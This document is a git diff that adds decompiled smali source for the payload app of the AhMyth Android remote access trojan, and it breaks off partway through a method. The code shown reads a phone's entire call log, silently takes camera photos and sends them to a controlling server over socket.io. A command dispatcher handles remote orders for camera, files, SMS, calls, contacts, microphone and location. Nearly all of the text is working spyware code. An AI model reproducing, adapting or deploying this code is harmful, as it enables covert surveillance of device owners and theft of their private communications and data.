+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/BuildConfig.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/BuildConfig.smali
new file mode 100644
index 00000000..d5f7f3de
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/BuildConfig.smali
@@ -0,0 +1,29 @@
+.class public final Lahmyth/mine/king/ahmyth/BuildConfig;
+.super Ljava/lang/Object;
+.source "BuildConfig.java"
+
+
+# static fields
+.field public static final APPLICATION_ID:Ljava/lang/String; = "ahmyth.mine.king.ahmyth"
+
+.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
+
+.field public static final DEBUG:Z = false
+
+.field public static final FLAVOR:Ljava/lang/String; = ""
+
+.field public static final VERSION_CODE:I = 0x1
+
+.field public static final VERSION_NAME:Ljava/lang/String; = "1.0"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 6
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CallsManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CallsManager.smali
new file mode 100644
index 00000000..87a760c3
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CallsManager.smali
@@ -0,0 +1,197 @@
+.class public Lahmyth/mine/king/ahmyth/CallsManager;
+.super Ljava/lang/Object;
+.source "CallsManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 15
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static getCallsLogs()Lorg/json/JSONObject;
+ .locals 16
+
+ .prologue
+ const/4 v15, 0x0
+
+ .line 20
+ :try_start_0
+ new-instance v6, Lorg/json/JSONObject;
+
+ invoke-direct {v6}, Lorg/json/JSONObject;->()V
+
+ .line 21
+ .local v6, "Calls":Lorg/json/JSONObject;
+ new-instance v11, Lorg/json/JSONArray;
+
+ invoke-direct {v11}, Lorg/json/JSONArray;->()V
+
+ .line 23
+ .local v11, "list":Lorg/json/JSONArray;
+ const-string v0, "content://call_log/calls"
+
+ invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v1
+
+ .line 24
+ .local v1, "allCalls":Landroid/net/Uri;
+ invoke-static {}, Lahmyth/mine/king/ahmyth/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v0
+
+ const/4 v2, 0x0
+
+ const/4 v3, 0x0
+
+ const/4 v4, 0x0
+
+ const/4 v5, 0x0
+
+ invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v8
+
+ .line 26
+ .local v8, "cur":Landroid/database/Cursor;
+ :goto_0
+ invoke-interface {v8}, Landroid/database/Cursor;->moveToNext()Z
+
+ move-result v0
+
+ if-eqz v0, :cond_0
+
+ .line 27
+ new-instance v7, Lorg/json/JSONObject;
+
+ invoke-direct {v7}, Lorg/json/JSONObject;->()V
+
+ .line 28
+ .local v7, "call":Lorg/json/JSONObject;
+ const-string v0, "number"
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v13
+
+ .line 29
+ .local v13, "num":Ljava/lang/String;
+ const-string v0, "name"
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v12
+
+ .line 30
+ .local v12, "name":Ljava/lang/String;
+ const-string v0, "duration"
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v9
+
+ .line 31
+ .local v9, "duration":Ljava/lang/String;
+ const-string v0, "type"
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
+
+ move-result v14
+
+ .line 34
+ .local v14, "type":I
+ const-string v0, "phoneNo"
+
+ invoke-virtual {v7, v0, v13}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 35
+ const-string v0, "name"
+
+ invoke-virtual {v7, v0, v12}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 36
+ const-string v0, "duration"
+
+ invoke-virtual {v7, v0, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 37
+ const-string v0, "type"
+
+ invoke-virtual {v7, v0, v14}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 38
+ invoke-virtual {v11, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ goto :goto_0
+
+ .line 43
+ .end local v1 # "allCalls":Landroid/net/Uri;
+ .end local v7 # "call":Lorg/json/JSONObject;
+ .end local v8 # "cur":Landroid/database/Cursor;
+ .end local v9 # "duration":Ljava/lang/String;
+ .end local v11 # "list":Lorg/json/JSONArray;
+ .end local v12 # "name":Ljava/lang/String;
+ .end local v13 # "num":Ljava/lang/String;
+ .end local v14 # "type":I
+ :catch_0
+ move-exception v10
+
+ .line 44
+ .local v10, "e":Lorg/json/JSONException;
+ invoke-virtual {v10}, Lorg/json/JSONException;->printStackTrace()V
+
+ move-object v6, v15
+
+ .line 46
+ .end local v6 # "Calls":Lorg/json/JSONObject;
+ .end local v10 # "e":Lorg/json/JSONException;
+ :goto_1
+ return-object v6
+
+ .line 41
+ .restart local v1 # "allCalls":Landroid/net/Uri;
+ .restart local v6 # "Calls":Lorg/json/JSONObject;
+ .restart local v8 # "cur":Landroid/database/Cursor;
+ .restart local v11 # "list":Lorg/json/JSONArray;
+ :cond_0
+ :try_start_1
+ const-string v0, "callsList"
+
+ invoke-virtual {v6, v0, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
+
+ goto :goto_1
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CameraManager$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CameraManager$1.smali
new file mode 100644
index 00000000..2ea71ed5
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CameraManager$1.smali
@@ -0,0 +1,60 @@
+.class Lahmyth/mine/king/ahmyth/CameraManager$1;
+.super Ljava/lang/Object;
+.source "CameraManager.java"
+
+# interfaces
+.implements Landroid/hardware/Camera$PictureCallback;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lahmyth/mine/king/ahmyth/CameraManager;->startUp(I)V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lahmyth/mine/king/ahmyth/CameraManager;
+
+
+# direct methods
+.method constructor (Lahmyth/mine/king/ahmyth/CameraManager;)V
+ .locals 0
+ .param p1, "this$0" # Lahmyth/mine/king/ahmyth/CameraManager;
+
+ .prologue
+ .line 52
+ iput-object p1, p0, Lahmyth/mine/king/ahmyth/CameraManager$1;->this$0:Lahmyth/mine/king/ahmyth/CameraManager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public onPictureTaken([BLandroid/hardware/Camera;)V
+ .locals 1
+ .param p1, "data" # [B
+ .param p2, "camera" # Landroid/hardware/Camera;
+
+ .prologue
+ .line 55
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager$1;->this$0:Lahmyth/mine/king/ahmyth/CameraManager;
+
+ # invokes: Lahmyth/mine/king/ahmyth/CameraManager;->releaseCamera()V
+ invoke-static {v0}, Lahmyth/mine/king/ahmyth/CameraManager;->access$000(Lahmyth/mine/king/ahmyth/CameraManager;)V
+
+ .line 56
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager$1;->this$0:Lahmyth/mine/king/ahmyth/CameraManager;
+
+ # invokes: Lahmyth/mine/king/ahmyth/CameraManager;->sendPhoto([B)V
+ invoke-static {v0, p1}, Lahmyth/mine/king/ahmyth/CameraManager;->access$100(Lahmyth/mine/king/ahmyth/CameraManager;[B)V
+
+ .line 57
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CameraManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CameraManager.smali
new file mode 100644
index 00000000..8b683e8f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/CameraManager.smali
@@ -0,0 +1,403 @@
+.class public Lahmyth/mine/king/ahmyth/CameraManager;
+.super Ljava/lang/Object;
+.source "CameraManager.java"
+
+
+# instance fields
+.field private camera:Landroid/hardware/Camera;
+
+.field private context:Landroid/content/Context;
+
+
+# direct methods
+.method public constructor (Landroid/content/Context;)V
+ .locals 0
+ .param p1, "context" # Landroid/content/Context;
+
+ .prologue
+ .line 43
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 44
+ iput-object p1, p0, Lahmyth/mine/king/ahmyth/CameraManager;->context:Landroid/content/Context;
+
+ .line 45
+ return-void
+.end method
+
+.method static synthetic access$000(Lahmyth/mine/king/ahmyth/CameraManager;)V
+ .locals 0
+ .param p0, "x0" # Lahmyth/mine/king/ahmyth/CameraManager;
+
+ .prologue
+ .line 37
+ invoke-direct {p0}, Lahmyth/mine/king/ahmyth/CameraManager;->releaseCamera()V
+
+ return-void
+.end method
+
+.method static synthetic access$100(Lahmyth/mine/king/ahmyth/CameraManager;[B)V
+ .locals 0
+ .param p0, "x0" # Lahmyth/mine/king/ahmyth/CameraManager;
+ .param p1, "x1" # [B
+
+ .prologue
+ .line 37
+ invoke-direct {p0, p1}, Lahmyth/mine/king/ahmyth/CameraManager;->sendPhoto([B)V
+
+ return-void
+.end method
+
+.method private releaseCamera()V
+ .locals 1
+
+ .prologue
+ .line 82
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager;->camera:Landroid/hardware/Camera;
+
+ if-eqz v0, :cond_0
+
+ .line 83
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager;->camera:Landroid/hardware/Camera;
+
+ invoke-virtual {v0}, Landroid/hardware/Camera;->stopPreview()V
+
+ .line 84
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager;->camera:Landroid/hardware/Camera;
+
+ invoke-virtual {v0}, Landroid/hardware/Camera;->release()V
+
+ .line 85
+ const/4 v0, 0x0
+
+ iput-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager;->camera:Landroid/hardware/Camera;
+
+ .line 87
+ :cond_0
+ return-void
+.end method
+
+.method private sendPhoto([B)V
+ .locals 8
+ .param p1, "data" # [B
+
+ .prologue
+ .line 66
+ const/4 v4, 0x0
+
+ :try_start_0
+ array-length v5, p1
+
+ invoke-static {p1, v4, v5}, Landroid/graphics/BitmapFactory;->decodeByteArray([BII)Landroid/graphics/Bitmap;
+
+ move-result-object v0
+
+ .line 67
+ .local v0, "bitmap":Landroid/graphics/Bitmap;
+ new-instance v1, Ljava/io/ByteArrayOutputStream;
+
+ invoke-direct {v1}, Ljava/io/ByteArrayOutputStream;->()V
+
+ .line 68
+ .local v1, "bos":Ljava/io/ByteArrayOutputStream;
+ sget-object v4, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
+
+ const/16 v5, 0x14
+
+ invoke-virtual {v0, v4, v5, v1}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
+
+ .line 69
+ new-instance v3, Lorg/json/JSONObject;
+
+ invoke-direct {v3}, Lorg/json/JSONObject;->()V
+
+ .line 70
+ .local v3, "object":Lorg/json/JSONObject;
+ const-string v4, "image"
+
+ const/4 v5, 0x1
+
+ invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 71
+ const-string v4, "buffer"
+
+ invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
+
+ move-result-object v5
+
+ invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 72
+ invoke-static {}, Lahmyth/mine/king/ahmyth/IOSocket;->getInstance()Lahmyth/mine/king/ahmyth/IOSocket;
+
+ move-result-object v4
+
+ invoke-virtual {v4}, Lahmyth/mine/king/ahmyth/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v4
+
+ const-string v5, "x0000ca"
+
+ const/4 v6, 0x1
+
+ new-array v6, v6, [Ljava/lang/Object;
+
+ const/4 v7, 0x0
+
+ aput-object v3, v6, v7
+
+ invoke-virtual {v4, v5, v6}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 79
+ .end local v0 # "bitmap":Landroid/graphics/Bitmap;
+ .end local v1 # "bos":Ljava/io/ByteArrayOutputStream;
+ .end local v3 # "object":Lorg/json/JSONObject;
+ :goto_0
+ return-void
+
+ .line 75
+ :catch_0
+ move-exception v2
+
+ .line 76
+ .local v2, "e":Lorg/json/JSONException;
+ invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V
+
+ goto :goto_0
+.end method
+
+
+# virtual methods
+.method public findCameraList()Lorg/json/JSONObject;
+ .locals 11
+
+ .prologue
+ const/4 v7, 0x0
+
+ const/4 v10, 0x1
+
+ .line 91
+ iget-object v8, p0, Lahmyth/mine/king/ahmyth/CameraManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v8}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v8
+
+ const-string v9, "android.hardware.camera"
+
+ invoke-virtual {v8, v9}, Landroid/content/pm/PackageManager;->hasSystemFeature(Ljava/lang/String;)Z
+
+ move-result v8
+
+ if-nez v8, :cond_0
+
+ move-object v0, v7
+
+ .line 136
+ :goto_0
+ return-object v0
+
+ .line 100
+ :cond_0
+ :try_start_0
+ new-instance v0, Lorg/json/JSONObject;
+
+ invoke-direct {v0}, Lorg/json/JSONObject;->()V
+
+ .line 101
+ .local v0, "cameras":Lorg/json/JSONObject;
+ new-instance v5, Lorg/json/JSONArray;
+
+ invoke-direct {v5}, Lorg/json/JSONArray;->()V
+
+ .line 102
+ .local v5, "list":Lorg/json/JSONArray;
+ const-string v8, "camList"
+
+ const/4 v9, 0x1
+
+ invoke-virtual {v0, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 105
+ invoke-static {}, Landroid/hardware/Camera;->getNumberOfCameras()I
+
+ move-result v6
+
+ .line 106
+ .local v6, "numberOfCameras":I
+ const/4 v2, 0x0
+
+ .local v2, "i":I
+ :goto_1
+ if-ge v2, v6, :cond_3
+
+ .line 107
+ new-instance v3, Landroid/hardware/Camera$CameraInfo;
+
+ invoke-direct {v3}, Landroid/hardware/Camera$CameraInfo;->()V
+
+ .line 108
+ .local v3, "info":Landroid/hardware/Camera$CameraInfo;
+ invoke-static {v2, v3}, Landroid/hardware/Camera;->getCameraInfo(ILandroid/hardware/Camera$CameraInfo;)V
+
+ .line 109
+ iget v8, v3, Landroid/hardware/Camera$CameraInfo;->facing:I
+
+ if-ne v8, v10, :cond_1
+
+ .line 110
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 111
+ .local v4, "jo":Lorg/json/JSONObject;
+ const-string v8, "name"
+
+ const-string v9, "Front"
+
+ invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 112
+ const-string v8, "id"
+
+ invoke-virtual {v4, v8, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 113
+ invoke-virtual {v5, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 106
+ :goto_2
+ add-int/lit8 v2, v2, 0x1
+
+ goto :goto_1
+
+ .line 115
+ .end local v4 # "jo":Lorg/json/JSONObject;
+ :cond_1
+ iget v8, v3, Landroid/hardware/Camera$CameraInfo;->facing:I
+
+ if-nez v8, :cond_2
+
+ .line 116
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 117
+ .restart local v4 # "jo":Lorg/json/JSONObject;
+ const-string v8, "name"
+
+ const-string v9, "Back"
+
+ invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 118
+ const-string v8, "id"
+
+ invoke-virtual {v4, v8, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 119
+ invoke-virtual {v5, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ goto :goto_2
+
+ .line 132
+ .end local v0 # "cameras":Lorg/json/JSONObject;
+ .end local v2 # "i":I
+ .end local v3 # "info":Landroid/hardware/Camera$CameraInfo;
+ .end local v4 # "jo":Lorg/json/JSONObject;
+ .end local v5 # "list":Lorg/json/JSONArray;
+ .end local v6 # "numberOfCameras":I
+ :catch_0
+ move-exception v1
+
+ .line 133
+ .local v1, "e":Lorg/json/JSONException;
+ invoke-virtual {v1}, Lorg/json/JSONException;->printStackTrace()V
+
+ move-object v0, v7
+
+ .line 136
+ goto :goto_0
+
+ .line 122
+ .end local v1 # "e":Lorg/json/JSONException;
+ .restart local v0 # "cameras":Lorg/json/JSONObject;
+ .restart local v2 # "i":I
+ .restart local v3 # "info":Landroid/hardware/Camera$CameraInfo;
+ .restart local v5 # "list":Lorg/json/JSONArray;
+ .restart local v6 # "numberOfCameras":I
+ :cond_2
+ :try_start_1
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 123
+ .restart local v4 # "jo":Lorg/json/JSONObject;
+ const-string v8, "name"
+
+ const-string v9, "Other"
+
+ invoke-virtual {v4, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 124
+ const-string v8, "id"
+
+ invoke-virtual {v4, v8, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 125
+ invoke-virtual {v5, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ goto :goto_2
+
+ .line 129
+ .end local v3 # "info":Landroid/hardware/Camera$CameraInfo;
+ .end local v4 # "jo":Lorg/json/JSONObject;
+ :cond_3
+ const-string v8, "list"
+
+ invoke-virtual {v0, v8, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
+
+ goto :goto_0
+.end method
+
+.method public startUp(I)V
+ .locals 3
+ .param p1, "cameraID" # I
+
+ .prologue
+ const/4 v2, 0x0
+
+ .line 50
+ invoke-static {p1}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager;->camera:Landroid/hardware/Camera;
+
+ .line 51
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager;->camera:Landroid/hardware/Camera;
+
+ invoke-virtual {v0}, Landroid/hardware/Camera;->startPreview()V
+
+ .line 52
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/CameraManager;->camera:Landroid/hardware/Camera;
+
+ new-instance v1, Lahmyth/mine/king/ahmyth/CameraManager$1;
+
+ invoke-direct {v1, p0}, Lahmyth/mine/king/ahmyth/CameraManager$1;->(Lahmyth/mine/king/ahmyth/CameraManager;)V
+
+ invoke-virtual {v0, v2, v2, v1}, Landroid/hardware/Camera;->takePicture(Landroid/hardware/Camera$ShutterCallback;Landroid/hardware/Camera$PictureCallback;Landroid/hardware/Camera$PictureCallback;)V
+
+ .line 59
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager$1.smali
new file mode 100644
index 00000000..65e91093
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager$1.smali
@@ -0,0 +1,54 @@
+.class final Lahmyth/mine/king/ahmyth/ConnectionManager$1;
+.super Ljava/lang/Object;
+.source "ConnectionManager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lahmyth/mine/king/ahmyth/ConnectionManager;->sendReq()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# direct methods
+.method constructor ()V
+ .locals 0
+
+ .prologue
+ .line 59
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 3
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .prologue
+ .line 62
+ # getter for: Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+ invoke-static {}, Lahmyth/mine/king/ahmyth/ConnectionManager;->access$000()Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ const-string v1, "pong"
+
+ const/4 v2, 0x0
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 63
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager$2.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager$2.smali
new file mode 100644
index 00000000..fff61d07
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager$2.smali
@@ -0,0 +1,441 @@
+.class final Lahmyth/mine/king/ahmyth/ConnectionManager$2;
+.super Ljava/lang/Object;
+.source "ConnectionManager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lahmyth/mine/king/ahmyth/ConnectionManager;->sendReq()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# direct methods
+.method constructor ()V
+ .locals 0
+
+ .prologue
+ .line 66
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 7
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .prologue
+ const/4 v4, -0x1
+
+ const/4 v5, 0x1
+
+ const/4 v3, 0x0
+
+ .line 70
+ const/4 v6, 0x0
+
+ :try_start_0
+ aget-object v0, p1, v6
+
+ check-cast v0, Lorg/json/JSONObject;
+
+ .line 71
+ .local v0, "data":Lorg/json/JSONObject;
+ const-string v6, "order"
+
+ invoke-virtual {v0, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v2
+
+ .line 72
+ .local v2, "order":Ljava/lang/String;
+ const-string v6, "order"
+
+ invoke-static {v6, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 73
+ invoke-virtual {v2}, Ljava/lang/String;->hashCode()I
+
+ move-result v6
+
+ sparse-switch v6, :sswitch_data_0
+
+ :cond_0
+ move v3, v4
+
+ :goto_0
+ packed-switch v3, :pswitch_data_0
+
+ .line 115
+ .end local v0 # "data":Lorg/json/JSONObject;
+ .end local v2 # "order":Ljava/lang/String;
+ :cond_1
+ :goto_1
+ return-void
+
+ .line 73
+ .restart local v0 # "data":Lorg/json/JSONObject;
+ .restart local v2 # "order":Ljava/lang/String;
+ :sswitch_0
+ const-string v5, "x0000ca"
+
+ invoke-virtual {v2, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v5
+
+ if-eqz v5, :cond_0
+
+ goto :goto_0
+
+ :sswitch_1
+ const-string v3, "x0000fm"
+
+ invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ move v3, v5
+
+ goto :goto_0
+
+ :sswitch_2
+ const-string v3, "x0000sm"
+
+ invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ const/4 v3, 0x2
+
+ goto :goto_0
+
+ :sswitch_3
+ const-string v3, "x0000cl"
+
+ invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ const/4 v3, 0x3
+
+ goto :goto_0
+
+ :sswitch_4
+ const-string v3, "x0000cn"
+
+ invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ const/4 v3, 0x4
+
+ goto :goto_0
+
+ :sswitch_5
+ const-string v3, "x0000mc"
+
+ invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ const/4 v3, 0x5
+
+ goto :goto_0
+
+ :sswitch_6
+ const-string v3, "x0000lm"
+
+ invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ const/4 v3, 0x6
+
+ goto :goto_0
+
+ .line 75
+ :pswitch_0
+ const-string v3, "extra"
+
+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ const-string v4, "camList"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_2
+
+ .line 76
+ const/4 v3, -0x1
+
+ invoke-static {v3}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000ca(I)V
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ goto :goto_1
+
+ .line 112
+ .end local v0 # "data":Lorg/json/JSONObject;
+ .end local v2 # "order":Ljava/lang/String;
+ :catch_0
+ move-exception v1
+
+ .line 113
+ .local v1, "e":Ljava/lang/Exception;
+ invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
+
+ goto :goto_1
+
+ .line 77
+ .end local v1 # "e":Ljava/lang/Exception;
+ .restart local v0 # "data":Lorg/json/JSONObject;
+ .restart local v2 # "order":Ljava/lang/String;
+ :cond_2
+ :try_start_1
+ const-string v3, "extra"
+
